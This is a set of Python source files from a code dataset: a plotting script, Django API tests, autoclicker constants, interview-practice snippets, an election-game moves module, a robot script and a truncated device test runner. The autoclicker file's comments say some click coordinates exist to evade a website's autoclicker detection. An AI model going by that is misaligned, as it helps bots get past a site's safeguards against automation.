cmap=shifted_cmap)\n\n# Plot the colorbars\nafpcolor = af.pcolor(xg, yg, z1g, cmap = shifted_cmap)\ncbar1 = plt.colorbar(afpcolor, orientation='horizontal', shrink=0.8)\ncbar1.set_label('E(trip)-E(sing) (kcal/mol)')\n\n# Plot the triplet contours\nbfcontour = af.contour(xg, yg, z2g, ncontours, colors='black')\n\n# Place points for various points of interest; place legend for these points\n#af.plot([1.71],[152.0], color='green', marker='o', markersize=14)\n#af.plot([1.69],[145.0], color='green', marker='o', markersize=14)\n\nfig.set_size_inches(16,9)\nfig.savefig(outputfilename,dpi=300)\n\n","sub_path":"examples/contour/old/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140548496","text":"from __future__ import with_statement\n\nfrom django.http import HttpRequest\nfrom django.test import TestCase\n\nfrom pehg.datasets import DictionaryDataSet\nfrom pehg.resources import ModelResource, Resource\n\nfrom ..models import Apple\n\n\nclass PearResource(Resource):\n resource_name = \"pear\"\n data_set = DictionaryDataSet([{\"id\": 1, \"name\": \"test\"}, {\"id\": 2, \"name\": \"other\"},])\n\n\nclass AppleResource(ModelResource):\n fields = [\"name\", ]\n model = Apple\n resource_name = \"apple\"\n\n\nclass TestResources(TestCase):\n \n def setUp(self):\n from django.core import urlresolvers\n from pehg.api import Api\n \n api = Api()\n api.register_resource(PearResource())\n \n urlresolvers.get_resolver = lambda x: urlresolvers.RegexURLResolver(r'^api/', api.urls)\n \n def test_dispatch_index(self):\n resource = PearResource()\n \n request = HttpRequest()\n request._read_started = False\n request._body = request._raw_post_data = '{\"name\": \"test\"}'\n \n test_methods = [\"GET\", \"POST\"]\n \n for method in test_methods:\n request.method = method\n \n dispatch_response = resource.dispatch_index(request)\n method_response = getattr(resource, \"%s_index\" % (method.lower(), ))(request)\n \n self.assertEqual(dispatch_response.status_code, method_response.status_code)\n self.assertEqual(type(dispatch_response), type(method_response))\n \n def test_dispatch_details(self):\n resource = PearResource()\n \n request = HttpRequest()\n \n test_methods = [\"GET\"]#, \"POST\", \"PUT\", \"DELETE\"]\n test_pks_instance = [\"1\", \"2\"]\n test_pks_set = [\"1;2\", \"1,2\"]\n \n for method in test_methods:\n request.method = method\n \n for pk in test_pks_instance:\n dispatch_response = resource.dispatch_details(request, pk)\n method_response = getattr(resource, \"%s_instance\" % (method.lower(), ))(request, pk)\n \n self.assertEqual(str(dispatch_response), str(method_response))\n self.assertEqual(type(dispatch_response), type(method_response))\n \n for pks in test_pks_set:\n dispatch_response = resource.dispatch_details(request, pks)\n method_response = getattr(resource, \"%s_set\" % (method.lower(), ))(request, pks)\n \n self.assertEqual(str(dispatch_response), str(method_response))\n self.assertEqual(type(dispatch_response), type(method_response))\n \n def test_get_index(self):\n resource = PearResource()\n \n request = HttpRequest()\n request.method = \"GET\"\n \n response = resource.get_index(request)\n \n self.assertEqual(len(response.data_dict[\"pears\"]), len(resource.data_set.data_dict))\n \n def test_not_implemented(self):\n class TestResource(Resource):\n allowed_methods = []\n resource_name = \"test\"\n \n resource = TestResource()\n \n test_methods = [\"GET\", \"POST\", \"PUT\", \"DELETE\", \"OPTIONS\", \"PATCH\"]\n test_types = [\"index\", \"details\"]\n \n for method in test_methods:\n self.assertFalse(method in resource.allowed_methods)\n \n request = HttpRequest()\n request.method = method\n \n for type in test_types:\n validate_request_type = resource._validate_request_type(request, type)\n self.assertEqual(validate_request_type, None)\n \n response = resource.dispatch_index(request)\n self.assertEqual(response.status_code, 501)\n \n response = resource.dispatch_details(request, \"1\")\n self.assertEqual(response.status_code, 501)\n \n def test_urls(self):\n resource = PearResource()\n \n self.assertEqual(len(resource.urls), 5)\n \n def test_validate_request_type(self):\n resource = PearResource()\n \n request = HttpRequest()\n \n test_methods = [\"GET\"] # , \"POST\", \"PUT\", \"PATCH\", \"DELETE\"]\n test_dispatch = [\"index\", \"set\", \"instance\"]\n \n for method in test_methods:\n request.method = method\n \n for dispatch in test_dispatch:\n func = resource._validate_request_type(request, dispatch)\n meth = getattr(resource, \"%s_%s\" % (method.lower(), dispatch, ))\n \n self.assertEqual(func, meth)\n\n\nclass TestModelResources(TestCase):\n \n def setUp(self):\n apple = Apple(name=\"test\")\n apple.save()\n apple2 = Apple(name=\"other\")\n apple2.save()\n \n self.request = HttpRequest()\n self.request._read_started = False\n \n def test_data_set(self):\n resource = AppleResource()\n \n self.assertNotEqual(resource.data_set, None)\n \n def test_get_index(self):\n resource = AppleResource()\n \n with self.assertNumQueries(1):\n response = resource.get_index(self.request)\n self.assertEqual(len(response.data_dict[\"apples\"]), 2)\n \n def test_get_instance(self):\n resource = AppleResource()\n \n with self.assertNumQueries(1):\n response = resource.get_instance(self.request, 1)\n self.assertEqual(response.data_dict, {\"id\": 1, \"name\": \"test\", \"resource_uri\": \"/v1/apple/1/\"})\n \n def test_get_set(self):\n resource = AppleResource()\n \n with self.assertNumQueries(1):\n response = resource.get_set(self.request, \"1;2\")\n self.assertEqual(len(response.data_dict), 2)\n \n def test_post_index(self):\n resource = AppleResource()\n \n with self.assertNumQueries(1):\n self.request._body = self.request._raw_post_data = '{\"name\": \"created\"}'\n response = resource.post_index(self.request)\n \n self.assertEqual(response.status_code, 201)\n\n def test_patch_instance(self):\n resource = AppleResource()\n\n with self.assertNumQueries(2):\n self.request._body = self.request._raw_post_data = '{\"name\": \"changed\"}'\n response = resource.patch_instance(self.request, 1)\n\n self.assertEqual(response.status_code, 204)\n self.assertEqual(Apple.objects.count(), 2)\n self.assertEqual(Apple.objects.get(id=1).name, \"changed\")\n","sub_path":"pehg/tests/tests/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":6572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"253452872","text":"\"\"\"\r\n This file contains many constants that other parts of the autoclicker use,\r\n as such it is not meant to be run by itself and is instead imported where it is needed.\r\n \r\n\"\"\"\r\n\r\n\"\"\"\r\n This value is used to control the speed that the Sleep and Pre_Sleep modules execute.\r\n Changing this may break the autoclicker, so do so with caution.\r\n \r\n\"\"\"\r\nfps = 60\r\n\r\n\"\"\"\r\n These are the x and y coordinates on the screen that are used for two main purposes.\r\n They are for clicking at/moving to, or for checking the pixel at that coordinate.\r\n xcoords and ycoords are used in Party_Click to navigate to a page, then click a users\r\n party, finishing by navigating to the users field where the autoclicker does most of its\r\n clicking.\r\n \r\n\"\"\"\r\nxcoords = [420,1157,249,558,249,558,249,558,369,658]\r\nycoords = [365,218,367,367,504,504,650,650,720,92]\r\nxcoords3 = [420,1157,249,558,249,558,249,558,369,658]\r\nycoords3 = [365,218,433,433,541,541,639,639,702,92]\r\nxcoords2 = [563,607,681,733,788,797]\r\nycoords2 = [254,261,261,250,260,306]\r\n\r\n\"\"\"\r\n These are various RGB colours that the program uses to determine if the autoclicker\r\n should switch to a new user because the current one has no more fields to click.\r\n \r\n\"\"\"\r\ncolours = [(128,123,78),(115,53,41),(115,95,65),(123,86,86),(65,107,115),\r\n (214,123,255)]\r\n\r\n\"\"\"\r\n These are the main x and y values where the autoclicker will be clicking.\r\n x2 and y2 are used to bypass the wbesites built in autoclicker detection.\r\n x3 and y3 are used to make sure the autoclicker does not click your own user when they\r\n have pokerus.\r\n \r\n\"\"\"\r\nx,y = 420,335\r\nx2,y2 = 526,347\r\nx3,y3 = 824,426\r\n\r\n\"\"\"\r\n These values are not used. They would theoretically be used to determine what number to\r\n press once I get around to finding out how to detect if a specific object is on the\r\n screen.\r\n \r\n\"\"\"\r\nwidth,height = 298,79\r\n\r\n\"\"\"\r\n This is used to keep track of the current time, and in turn refresh the webpage every 15\r\n minutes.\r\n \r\n\"\"\"\r\nlast_time = -1\r\n\r\n\r\n\"\"\"\r\n This value dictates what number will be pressed before clicking, possible values range\r\n from 1 to 5 including both.\r\n \r\n\"\"\"\r\nnum_press = \"5\"\r\n","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"22470596","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Mar 17 23:39:04 2020\r\n\r\n@author: BAI Haoyue\r\n\"\"\"\r\n\"\"\"\r\n#Q1\r\nprint (range(1,101))\r\nprint sum(range(1,101))\r\n\r\n#Q2\r\na = 5\r\ndef fn():\r\n global a\r\n a = 4\r\n\r\nfn()\r\nprint (a)\r\n\r\n\r\n#Q3\r\n#os, sys, re, math, datetime\r\n\r\n\r\n#Q4\r\ndic = {\"name\": \"zs\", \"age\": 18}\r\ndel dic[\"name\"]\r\nprint(dic)\r\ndic2 = {\"name\": \"ls\"}\r\ndic.update(dic2)\r\nprint(dic)\r\n\"\"\"\r\n\r\n# GIL (Global Interpreter Lock) in Python\r\n\r\n\r\n\"\"\"\r\n#Q6\r\nlis = [11, 12, 13, 12, 15, 16, 13]\r\na = set(lis)\r\nprint(a)\r\nb = [x for x in a]\r\nprint(b)\r\n\"\"\"\r\n\r\n\"\"\"\r\n#Q7\r\ndef demo(args_f, *args_v):\r\n print args_f\r\n for x in args_v:\r\n print x\r\n\r\ndemo('a', 'b', 'c', 'd')\r\n\r\ndef demo2(**args_v):\r\n for k,v in args_v.items():\r\n print k, v\r\n\r\ndemo2(name='njcx')\r\n\"\"\"\r\n\r\n#Q8 python in-place datatype\r\n# int, bool, str, list, tuple, dict\r\n\r\n\"\"\"\r\n#Q9\r\nclass Bike:\r\n def __init__(self, newWheelNum, newColor):\r\n self.wheelNum = newWheelNum\r\n self.color = newColor\r\n \r\n def move(self):\r\n print('car will run')\r\n\r\nBM = Bike(2, 'green')\r\nprint('the color is: %s' %BM.color)\r\nprint('the number is: %d' %BM.wheelNum)\r\n\"\"\"\r\n\r\n\"\"\"\r\n#Q13\r\nlis = [1, 2, 3, 4, 5]\r\n\r\ndef fn(x):\r\n return x**2\r\n\r\nres = map(fn, lis)\r\nprint(res)\r\n\r\nres = [i for i in res if i > 10]\r\nprint(res)\r\n\"\"\"\r\n\r\n\"\"\"\r\nimport random\r\nimport numpy as np\r\nresult = random.randint(10, 20)\r\nres = np.random.randn(5)\r\nret = random.random()\r\nprint(result)\r\nprint(res)\r\nprint(ret)\r\n\"\"\"\r\n\r\n#Q21\r\n# unchangeable datatype: number value, string, tuple\r\n# a = 3, b = 3, id(a) == id(b)\r\n# changeable datatype: list, dict\r\n# a = [1, 2], b = [1, 2], id(a) != id(b)\r\n\r\n\r\n\"\"\"\r\n#Q22 list is changeable, so s.sort has no return value\r\ns = \"ajldjlajfdljfddd\"\r\ns = set(s)\r\ns = list(s)\r\ns.sort(reverse=False)# from small to big\r\n# s = s.sort(reverse=False) is false\r\nres = \"\".join(s)\r\nprint(res)\r\n\"\"\"\r\n\r\n#Q23\r\n#sum = lambda a, b: a*b\r\n#print(sum(5, 4))\r\n\r\n\"\"\"\r\n#Q24\r\ndic = {\"name\":\"zs\",\"age\":18,\"city\":\"shenzhen\",\"tel\":\"1362626627\"}\r\nlis = sorted(dic.items(),key=lambda i:i[0],reverse=False)\r\nprint(lis)\r\nprint(dict(lis))\r\n\"\"\"\r\n\r\n\"\"\"\r\nfrom collections import Counter\r\na = \"kjalfj;ldsjafl;hdsllfdhg;lahfbl;hl;ahlf;h\"\r\nres = Counter(a)\r\nprint(res)\r\n\"\"\"\r\n\r\n\"\"\"\r\nimport re\r\na = \"not 404 found zhangsan 99 shenzhen 张三\"\r\nlist = a.split(\" \")\r\nprint(list)\r\nres = re.findall('\\d+|[a-zA-Z]+', a)\r\nres = re.findall('\\d+\\.?\\d*|[a-zA-Z+]', a)\r\nfor i in res:\r\n if i in list:\r\n list.remove(i)\r\nnew_str = \" \".join(list)\r\nprint(res)\r\nprint(new_str)\r\n\"\"\"\r\n\"\"\"\r\n#Q27\r\na = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\ndef fn(a):\r\n return a%2 == 1\r\nnewlist = filter(fn, a)\r\nnewlist = [i for i in newlist]\r\nprint(newlist)\r\n#Q28\r\nres = [i for i in a if i%2 == 1]\r\nprint(res)\r\n#Q30\r\nprint(type((1)))\r\n\r\nprint(type((\"1\")))\r\n\r\nprint(type((1,)))\r\n\"\"\"\r\n\"\"\"\r\n#Q31\r\nlist1 = [1, 5, 7, 9]\r\nlist2 = [2, 2, 6, 8]\r\nlist1.extend(list2)\r\nprint(list1)\r\nlist1.sort(reverse=False)\r\nprint(list1)\r\n\"\"\"\r\n\"\"\"\r\n#Q33\r\nimport datetime\r\na = str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))+' week: '+ str(datetime.datetime.now().isoweekday())\r\nprint(a)\r\n\"\"\"\r\n\r\n\"\"\"\r\n#Q36\r\ndef fn():\r\n try:\r\n for i in range(5):\r\n if i > 2:\r\n raise Exception(\"the number is larger than 2\")\r\n except Exception as ret:\r\n print(ret)\r\n\r\nfn()\r\n\"\"\"\r\n\"\"\"\r\n#Q37\r\ns = \"hahahehe\"\r\nimport re\r\nres1 = re.findall(\"(.*)\",s)\r\nprint(\"greedy matching\", res1)\r\nres2 = re.findall(\"(.*?)\",s)\r\nprint(\"non-greedy matching\", res2)\r\n\"\"\"\r\n\"\"\"\r\n#Q39\r\na = [[1,2], [3,4], [5,6]]\r\nx = [j for i in a for j in i]\r\nprint(x)\r\n\r\nimport numpy as np\r\nb = np.array(a).flatten().tolist()\r\nprint(b)\r\n\"\"\"\r\n\r\n\"\"\"\r\nx = \"abc\"\r\ny = \"def\"\r\nz = [\"d\",\"e\",\"f\"]\r\nm = x.join(y)\r\nn = x.join(z)\r\nprint(m)\r\nprint(n)\r\n\"\"\"\r\n\"\"\"\r\n#Q41\r\ntry:\r\n num = 100\r\n print(num)\r\nexcept NameError as errorMsg:\r\n print('error:%s'%errorMsg)\r\nelse:\r\n print('no error, conduct this part')\r\n \r\ntry:\r\n num = 100\r\n print(num)\r\nexcept NameError as errorMsg:\r\n print('error:%s'%errorMsg)\r\nfinally:\r\n print('error or not, conduct this part')\r\n\r\n#Q42\r\na, b = 3, 4\r\nprint(a, b)\r\na, b = b, a\r\nprint(a, b)\r\n\"\"\"\r\n\"\"\"\r\n#Q43\r\na = [1, 2]\r\nb = [3, 4]\r\nprint(zip(a, b))\r\nres = [i for i in zip(a, b)]\r\nprint(res)\r\n\r\na = (1, 2)\r\nb = (3, 4)\r\nprint(zip(a, b))\r\nres = [i for i in zip(a, b)]\r\nprint(res)\r\n\r\na = \"ab\"\r\nb = \"xyz\"\r\nprint(zip(a, b))\r\nres = [i for i in zip(a, b)]\r\nprint(res)\r\n\"\"\"\r\n\r\n#Q44\r\n\"\"\"\r\nimport re\r\na = \"zhangming 98fen\"\r\nret = re.sub(r\"\\d+\", \"100\", a)\r\nprint(ret)\r\n\"\"\"\r\n#Q46 error\r\n\"\"\"\r\na = \"hello\"\r\nb = \"哈哈\".encode()\r\nprint(a, b)\r\nprint(type(a), type(b))\r\n\"\"\"\r\n\"\"\"\r\na = [1, 2, 3]\r\nb = [4, 5, 6]\r\nres = a + b # == extend\r\nprint(res)\r\n\"\"\"\r\n#Q51\r\n\"\"\"\r\nimport re\r\nurl = 'https://sycm.taobao.com/bda/tradinganaly/overview/get_summary.json?dateRange=2018-03-20%7C2018-03-20&dateType=recent1&device=1&token=ff25b109b&_=1521595613462'\r\nresult = re.findall(r'dateRange=(.*?)%7C(.*?)&', url)\r\nprint(result)\r\n\"\"\"\r\n\r\n#Q52\r\n\"\"\"\r\nlist = [2, 3, 5, 4, 9, 6]\r\nnew_list = []\r\ndef get_min(list):\r\n a = min(list)\r\n list.remove(a)\r\n new_list.append(a)\r\n \r\n if len(list)>0:\r\n get_min(list)\r\n return new_list\r\n\r\nnew_list = get_min(list)\r\nprint(new_list) \r\n\"\"\"\r\n\r\n#Q54\r\n\"\"\"\r\na = \"%.03f\"%1.3335\r\nprint(a, type(a))\r\nb = round(float(a), 1)\r\nprint(b)\r\nb = round(float(a), 2)\r\nprint(b)\r\n\"\"\"\r\n\r\n#Q55\r\n\"\"\"\r\n# dict is changeable datatype, point to same address\r\ndef fn(k, v, dic={}):\r\n dic[k]=v\r\n print(dic)\r\nfn(\"one\",1)\r\nfn(\"two\",2)\r\nfn(\"three\",3,{})\r\n\"\"\"\r\n\r\n#Q58\r\n\"\"\"\r\ndic = {\"name\":\"zs\", \"age\":\"18\"}\r\ndic.pop(\"name\")\r\nprint(dic)\r\ndic = {\"name\":\"zs\", \"age\":\"18\"}\r\ndel dic[\"name\"]\r\nprint(dic)\r\n\"\"\"\r\n#Q60\r\n\"\"\"\r\nA = zip((\"a\",\"b\",\"c\",\"d\",\"e\"), (1,2,3,4,5))\r\nA0 = dict(A)\r\nA1 = range(10)\r\nA2 = [i for i in A1 if i in A0]\r\nA3 = [A0[s] for s in A0]\r\nprint(\"A0\", A0)\r\n#print(list(zip((\"a\",\"b\",\"c\",\"d\",\"e\"), (1,2,3,4,5))))\r\nprint(A2)\r\nprint(A3)\r\ns = dict([[\"name\",\"zs\"],[\"age\",18]])\r\nprint(s)\r\ns = dict([(\"name\",\"zs\"),(\"age\",18)])\r\nprint(s)\r\n\"\"\"\r\n#Q66\r\n\"\"\"\r\n# unchangeable data type: data value, str, tuple\r\nimport copy\r\na = \"haha\"\r\nb = a\r\nc = copy.copy(a)\r\nd = copy.deepcopy(a)\r\nprint(a, id(a))\r\nprint(b, id(b))\r\nprint(c, id(c))\r\nprint(d, id(d))\r\n# changeable data type: list, dict\r\nList = [1, 2, [3, 4]]\r\na = copy.copy(List)\r\nb = copy.deepcopy(List)\r\nprint(\"test the ID of the original data, copy, deep copy\")\r\nprint(\"results show that for outline list, the three independent\")\r\nprint(\"original data id is\", List, id(List))\r\nprint(\"copy id is\", a,id(a))\r\nprint(\"deepcopy id is\", b,id(b))\r\nprint(\"---------\")\r\nprint(\"modify the outline element\")\r\nprint(\"results show that a, b has no change\")\r\nList[0] = 10\r\nprint(\"modify 1 to 10\", List)\r\nprint(\"modify 1 to 10\", a)\r\nprint(\"modify 1 to 10\", b)\r\nprint(\"---------\")\r\nprint(\"modify the inner element\")\r\nprint(\"inner element of the copy is not independent\")\r\nprint(\"inner element of the deepcopy is independent\")\r\nList[2][0]=5\r\nprint(\"modify 3 to 10\", List)\r\nprint(\"modify 3 to 10\", a)\r\nprint(\"modify 3 to 10\", b)\r\n\"\"\"\r\n\"\"\"\r\n#Q69\r\na = (i for i in range(3))\r\nprint(type(a))\r\n#generator\r\na = \" hehheh \"\r\nprint(a.strip())\r\n\r\n#Q71\r\nlist = [0, -1, 3, -10, 5, 9]\r\nlist.sort(reverse=False)\r\nprint(\"modify on original list, no return value\", list)\r\n\r\nlist = [0, -1, 3, -10, 5, 9]\r\nres = sorted(list, reverse=False)\r\nprint(\"sorted has return value a new list\", list)\r\nprint(\"return value\", res) \r\n\"\"\"\r\n\r\n#Q72\r\n\"\"\"\r\nfoo = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4]\r\na = sorted(foo, key=lambda x:x)\r\nprint(a)\r\nb = sorted(foo, key=lambda x:(x<0, abs(x)))\r\nprint(b)\r\nfoo = [{\"name\":\"zs\",\"age\":19},{\"name\":\"ll\",\"age\":54},{\"name\":\"wa\",\"age\":17},{\"name\":\"df\",\"age\":23}]\r\na = sorted(foo, key=lambda x:x[\"age\"], reverse=True)\r\nprint(a)\r\nb = sorted(foo, key=lambda x:x[\"name\"])\r\nprint(b)\r\n\r\nfoo = [(\"zs\", 19),(\"ll\", 54),(\"wa\", 17),(\"df\", 23)]\r\na = sorted(foo, key=lambda x:x[1],reverse=True)\r\nprint(a)\r\nb = sorted(foo, key=lambda x:x[0])\r\nprint(b)\r\n\r\nfoo = [[\"zs\",19],[\"ll\",54],[\"wa\",23],[\"df\",23],[\"xf\",23]]\r\na = sorted(foo,key=lambda x:(x[1],x[0]))\r\nprint(a)\r\nb = sorted(foo,key=lambda x:x[0])\r\nprint(a)\r\n\r\ndic = {\"name\":\"zs\",\"sex\":\"man\",\"city\":\"bj\"}\r\nfoo = zip(dic.keys(), dic.values())\r\nfoo = [i for i in foo]\r\nprint(\"dict to tuple in list\", foo)\r\nb = sorted(foo, key=lambda x: x[0])\r\nprint(\"sort by key\", b)\r\nnew_dic = {i[0]:i[1] for i in b}\r\nprint(\"the new dict\", new_dic)\r\n\r\ndic = {\"name\":\"zs\",\"sex\":\"man\",\"city\":\"bj\"}\r\nprint(dic)\r\nprint(dic.items())\r\nb = sorted(dic.items(), key=lambda x:x[0])\r\nprint(\"sort by key\", b)\r\nnew_dic = {i[0]:i[1] for i in b}\r\nprint(\"the new dict\", new_dic)\r\n\r\nimport random \r\ntd_list = [i for i in range(10)]\r\nprint(\"list function\", td_list, type(td_list))\r\ngt_list = (i for i in range(10))\r\nprint(\"generator\", gt_list)\r\ndic = {k:random.randint(4, 9) for k in [\"a\",\"b\",\"c\",\"d\"]}\r\nprint(\"dict function\", dic, type(dic))\r\n\r\ns = [\"ab\", \"abc\", \"a\", \"djkj\"]\r\nb = sorted(s, key=lambda x:len(x))\r\nprint(b,s)\r\ns.sort(key=len)\r\nprint(s)\r\n\"\"\"\r\n\"\"\"\r\n#Q82\r\ns = \"info:xiaoZhang 33 shandong\"\r\nres = re.split(r\":| \", s)\r\nprint(res)\r\n\r\n#Q83\r\nemail_list = [\"xiaoWang@163.com\", \"xiaoWang@163.comheihei\", \".com.xiaowang@qq.com\"]\r\nfor email in email_list:\r\n ret = re.match(\"[\\w]{4, 20}@163\\.com$\", email)\r\n if ret:\r\n print(\"%s right, the result is:%s\" % (email, ret.group()))\r\n else:\r\n print(\"%s not right\" % email)\r\n\"\"\"\r\n#------------------------------------\r\n#84***\r\n\r\ndef get_sum(num):\r\n if num>=1:\r\n res = num + get_sum(num-1)\r\n else:\r\n res = 0\r\n return res\r\n\r\nres = get_sum(10)\r\nprint(res)\r\n \r\n#-----------------------------------------\r\n\r\n#Q89\r\n\"\"\"\r\nstr = \"hello world ha ha\"\r\nres = str.replace(\" \", \"\")\r\nprint(res)\r\n\r\nlist = str.split(\" \")\r\nprint(list)\r\nres = \"\".join(list)\r\nprint(res)\r\n\"\"\" \r\n\r\n#Q92\r\n# int(\"1.4\") error\r\n# int(1.4)=1\r\n\r\n#Q94\r\n\"\"\"\r\nimport re\r\ns = ''\r\nres = re.findall(r\"https://.*?\\.jpg\", s)[0]\r\nprint(res)\r\nres = re.search(r\"https://.*?\\.jpg\", s)\r\nprint(res.group())\r\n\"\"\"\r\n\r\n#Q100\r\n# python is not value parameter passing for function\r\n# unchangeable datatype: value, str,tuple, will not change\r\n# changeable datatype: list dictionary, may change in function\r\n\r\n#Q101 error\r\n\"\"\"\r\na = [1, 2, 3, 4]\r\nb = [4, 3, 5, 6]\r\njj1 = [i for i in a if i in b]\r\njj2 = list(set(a).intersection(set(b)))\r\n\r\nbj1 = list(set(a).union(set(b)))\r\n\r\ncj1 = list(set(b).difference(set(a)))\r\ncj2 = list(set(a).difference(set(b)))\r\n\r\nprint(jj1)\r\nprint(jj2)\r\nprint(bj1)\r\nprint(cj1)\r\nprint(cj2)\r\n\"\"\"\r\n\r\n#Q102\r\nimport random\r\nres1 = 100*random.random()\r\nres2 = random.choice(range(0, 101))\r\nres3 = random.randint(1, 100)\r\nprint(res1)\r\nprint(res2)\r\nprint(res3)\r\n\r\n#Q110\r\n\"\"\"\r\nimport re\r\ns = \"xiaoming age is 18, fund 10000\"\r\nres = re.search(r\"\\d+\", s).group()\r\nprint(\"search result\", res)\r\n\r\nres = re.findall(r\"\\d+\", s)\r\nprint(\"findall result\", res)\r\n\r\nres = re.match(\"xiaoming\", s).group()\r\nprint(\"match result\", res)\r\n\r\nres = re.match(r\"\\d+\", s)\r\nprint(\"test error, no group is none, no match\", res)\r\n\r\nres = re.match(\"fund\", s).group()\r\nprint(\"match result\", res)\r\n\"\"\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"python110.py","file_name":"python110.py","file_ext":"py","file_size_in_byte":11136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650097530","text":"import random\nfrom constants import *\nfrom endOfRound import endRound\nfrom client import *\n\n\ndef doMove(app, state, player, issue):\n #do selected move\n #turn counter goes down by one if the move cannot be completed\n if app.stateDict[state].showing:\n if app.move == FUNDRAISE:\n fundraise(app, state, player)\n elif app.move == ADS:\n runAds(app, state, player, issue)\n elif app.move == SPEECH:\n makeSpeech(app, state, player, issue)\n elif app.move == POLL:\n app.errorMessage = f'This state is already polled.'\n app.turns -= 1\n else:\n if app.move == POLL:\n poll(app, state, player)\n else:\n app.turns -= 1\n\n #keep track of previous move for CPU\n app.previousMove = app.stateDict[state]\n\n # if app.onlineMultiplayer:\n # asyncio.get_event_loop().run_until_complete(sendUpdate(app))\n # app.myTurn = False\n\n #keep track of turns and go to next round at end of 3 turns each\n app.turns += 1\n if app.turns == MAX_TURNS:\n endRound(app)\n\ndef fundraise(app, state, candidate):\n money = app.stateDict[state].availableMoney\n #check that state has money\n if money == 0:\n app.errorMessage = f'{state} has no more money! Try something else.'\n app.turns -= 1\n #can only gain money from states you are leading in\n elif app.stateDict[state].winningParty == DEM:\n if candidate.party == DEM:\n candidate.getMoney(money)\n app.stateDict[state].availableMoney = 0\n app.updateMessage = f'{candidate.name} earned {money}$'\n else:\n app.errorMessage = f'Not your state! Try another one.'\n app.turns -= 1\n elif app.stateDict[state].winningParty == REP:\n if candidate.party == REP:\n candidate.getMoney(money)\n app.stateDict[state].availableMoney = 0\n app.updateMessage = f'{candidate.name} earned {money}$'\n else:\n app.errorMessage = f'Not your state! Try another one.'\n app.turns -= 1\n #no one can fundraise in tied states\n else:\n app.errorMessage = f'Not your state yet! Try something else.'\n app.turns -= 1\n\ndef poll(app, state, candidate):\n candidate.money -= 1\n #polled state is now visible\n app.stateDict[state].showing = True\n #message\n app.updateMessage = f'{candidate.name} polled {state}'\n\ndef runAds(app, state, candidate, issue):\n candidate.money -= 1\n if issue in app.stateDict[state].hotTopics:\n if candidate.party == DEM:\n app.stateDict[state].influence += 1\n else:\n app.stateDict[state].influence -= 1\n app.updateMessage = f'Successful ad campaign in {state} by {candidate.name}!'\n else:\n app.updateMessage = f'The people of {state} did not like {candidate.name}\\'s ad campaign.'\n\ndef makeSpeech(app, state, candidate, issue):\n candidate.money -= 2\n if issue in app.stateDict[state].hotTopics:\n if candidate.party == DEM:\n app.stateDict[state].influence += 2\n else:\n app.stateDict[state].influence -= 2\n app.updateMessage = f'{candidate.name}\\'s speech in {state} was a massive success!'\n else:\n if candidate.party == DEM:\n app.stateDict[state].influence += 1\n else:\n app.stateDict[state].influence -= 1\n app.updateMessage = f'{candidate.name} should have spoken about a different topic in {state}.'\n\n#reset move vars\ndef cancelMove(app):\n app.doingMove = False\n app.move = None\n app.currentState = None\n app.currentIssue = None\n app.selectingIssue = False","sub_path":"TermProject/TermProject/moves.py","file_name":"moves.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"167805298","text":"from pybricks.hubs import PrimeHub\nfrom pybricks.pupdevices import ForceSensor, Motor\nfrom pybricks.parameters import Port, Stop\n\n\nhub = PrimeHub()\nforce_sensor = ForceSensor(port=Port.E)\nmotor = Motor(port=Port.A)\n\n\nwhile True:\n if force_sensor.pressed(force=3):\n motor.run(speed=-1000)\n\n else:\n motor.run_until_stalled(\n speed=1000,\n then=Stop.COAST,\n duty_limit=None)\n","sub_path":"Computing-Platforms/SPIKE/Prime-Lessons/Invention-Squad/3-Super-Cleanup/Hand-Controller-and-Grabber.PyBricks.py","file_name":"Hand-Controller-and-Grabber.PyBricks.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"253846591","text":"# Copyright 2017-present Samsung Electronics Co., Ltd. and other contributors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport time\nfrom threading import Thread\n\nfrom jstest.testrunner.devices.device_base import RemoteDevice\nfrom jstest.common import utils\nfrom jstest.testrunner.devices.connections.serialcom import SerialConnection\nfrom jstest.testrunner import utils as testrunner_utils\n\nclass ARTIK053Device(RemoteDevice):\n '''\n Device of the ARTIK053 target.\n '''\n def __init__(self, env):\n self.os = 'tizenrt'\n self.tizenrt = env['modules']['tizenrt']\n\n RemoteDevice.__init__(self, env)\n\n data = {\n 'dev-id': env['info']['device_id'],\n 'baud': env['info']['baud'],\n 'timeout': env['info']['timeout'],\n 'prompt': 'TASH>>'\n }\n\n self.channel = SerialConnection(data)\n\n def initialize(self):\n '''\n Flash the device.\n '''\n if self.env['info']['no_flash']:\n return\n\n tizenrt = self.env['modules']['tizenrt']\n utils.execute(tizenrt['paths']['os'], 'make', ['download', 'ALL'])\n\n def reset(self):\n '''\n Reset the device to create clean environment.\n '''\n flags = ['download', 'reset']\n\n utils.execute(self.tizenrt['paths']['os'], 'make', flags, quiet=True)\n # Wait a moment to boot the device.\n time.sleep(2)\n\n def execute(self, testset, test):\n '''\n Execute the given test.\n '''\n self.reset()\n self.login()\n\n # Absolute path to the test file on the device.\n testfile 